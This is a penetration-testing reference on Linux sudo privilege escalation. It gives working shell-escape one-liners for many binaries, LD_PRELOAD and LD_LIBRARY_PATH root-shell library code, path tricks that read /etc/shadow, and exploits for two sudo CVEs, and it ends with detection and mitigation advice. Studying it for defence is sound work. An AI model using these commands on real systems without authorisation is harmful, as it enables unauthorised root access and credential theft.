Sudo Abuse

Overview

sudo allows users to run commands as root (or other users) based on rules in /etc/sudoers. Misconfigured sudo rules — overly permissive entries, binaries that allow shell escapes, or wildcard usage — are one of the most reliable privilege escalation vectors on Linux. Always check sudo -l first after gaining access.

ATT&CK Mapping

  • Tactic: TA0004 - Privilege Escalation
  • Technique: T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Prerequisites

  • Shell access as a user with sudo privileges
  • Password may or may not be required (check NOPASSWD in sudoers)

Techniques

Discovery

# List sudo privileges for current user
sudo -l

# Check sudo version (for CVE research)
sudo --version

sudo -l output examples:

# Full root access (instant escalation)
(ALL : ALL) ALL

# NOPASSWD — no password needed
(ALL) NOPASSWD: /usr/bin/vim

# Specific command restriction
(root) /usr/bin/find

# Run as another user
(www-data) /usr/bin/python3

GTFOBins Sudo Exploits

When sudo -l shows a binary listed on GTFOBins, use the "Sudo" section for the escalation command.

Common sudo escalation examples:

# vim
sudo vim -c '!sh'

# find
sudo find / -exec /bin/sh \; -quit

# less
sudo less /etc/shadow
# then: !/bin/sh

# awk
sudo awk 'BEGIN {system("/bin/sh")}'

# python3
sudo python3 -c 'import os; os.system("/bin/sh")'

# perl
sudo perl -e 'exec "/bin/sh";'

# ruby
sudo ruby -e 'exec "/bin/sh"'

# env
sudo env /bin/sh

# man
sudo man man
# then: !/bin/sh

# nmap (old versions with --interactive)
sudo nmap --interactive
# then: !sh

# tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# zip
TF=$(mktemp -u); sudo zip $TF /etc/hosts -T -TT 'sh #'; rm -f $TF

# apache2 (read files as root)
sudo apache2 -f /etc/shadow

# mysql
sudo mysql -e '\! /bin/sh'

# ssh
sudo ssh -o ProxyCommand='sh -c "sh <&2 >&2"' x

# ed
sudo ed
!/bin/sh

LD_PRELOAD Abuse

If sudo -l shows env_keep+=LD_PRELOAD, a shared library preloaded before any sudo command runs as root:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
# Compile the shared library
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles

# Use with any allowed sudo command
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/allowed_command

LD_LIBRARY_PATH Abuse

If sudo -l shows env_keep+=LD_LIBRARY_PATH:

# Check which libraries the sudo-allowed binary uses
ldd /usr/bin/allowed_command

# Create a malicious replacement for one of the libraries
# (same _init() payload as LD_PRELOAD)
gcc -fPIC -shared -o /tmp/libexample.so shell.c -nostartfiles

# Run with modified library path
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_command

Wildcard and Path Exploitation

Sudo rules with wildcards or relative paths can be exploited:

# If sudoers allows: (root) /usr/bin/cat /var/log/*
# Path traversal with wildcards
sudo /usr/bin/cat /var/log/../../etc/shadow

# If sudoers allows a script without full path
# and current user can modify PATH
echo '#!/bin/bash' > /tmp/script.sh
echo '/bin/bash' >> /tmp/script.sh
chmod +x /tmp/script.sh
export PATH=/tmp:$PATH
sudo script.sh

Sudo Version Exploits

# Check sudo version
sudo --version

# CVE-2021-3156 (Baron Samedit) — sudo 1.7.7 to 1.7.10p9, 1.8.2 to 1.8.31p2, 1.9.0 to 1.9.5p1
# Heap buffer overflow in sudo when parsing command-line arguments
# Test if vulnerable (patched systems print "usage:", vulnerable systems do not):
sudoedit -s '\' 2>&1 | grep -q "usage:" && echo "Not vulnerable" || echo "Likely vulnerable"

# CVE-2019-14287 — sudo < 1.8.28
# Bypass user restriction with UID -1
# If sudoers says: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash

NOPASSWD with Shell Escape

When NOPASSWD is set for binaries that allow shell escapes, escalation requires no password:

# Example: (root) NOPASSWD: /usr/bin/vi
sudo vi
:!/bin/sh

# Example: (root) NOPASSWD: /usr/bin/less
sudo less /etc/hosts
!/bin/sh

# Example: (root) NOPASSWD: /usr/bin/ftp
sudo ftp
!/bin/sh

Sudo as Another User

If sudo allows running commands as a non-root user who has additional privileges:

# (www-data) NOPASSWD: /usr/bin/python3
sudo -u www-data /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

# Then check: does www-data have sudo privileges?
sudo -l

Detection Methods

Network-Based Detection

  • Not directly observable on the network — sudo exploitation is local

Host-Based Detection

  • Monitor /var/log/auth.log or /var/log/secure for sudo usage patterns
  • Alert on sudo commands followed by shell spawns (/bin/sh, /bin/bash)
  • Monitor for LD_PRELOAD or LD_LIBRARY_PATH in sudo invocations
  • Audit changes to /etc/sudoers and /etc/sudoers.d/

Mitigation Strategies

  • Least privilege — only grant sudo for specific commands needed, never ALL
  • Avoid shell-escape binaries — do not grant sudo for vim, less, find, awk, python, perl, or any binary listed on GTFOBins
  • Use full paths — always specify absolute paths in sudoers rules
  • Remove env_keep for LD_PRELOAD/LD_LIBRARY_PATH — never preserve these environment variables through sudo
  • Keep sudo updated — patch known CVEs (Baron Samedit, CVE-2019-14287)
  • Use NOPASSWD sparingly — require password re-entry to limit automated exploitation

References

Pentest Guides & Research

MITRE ATT&CK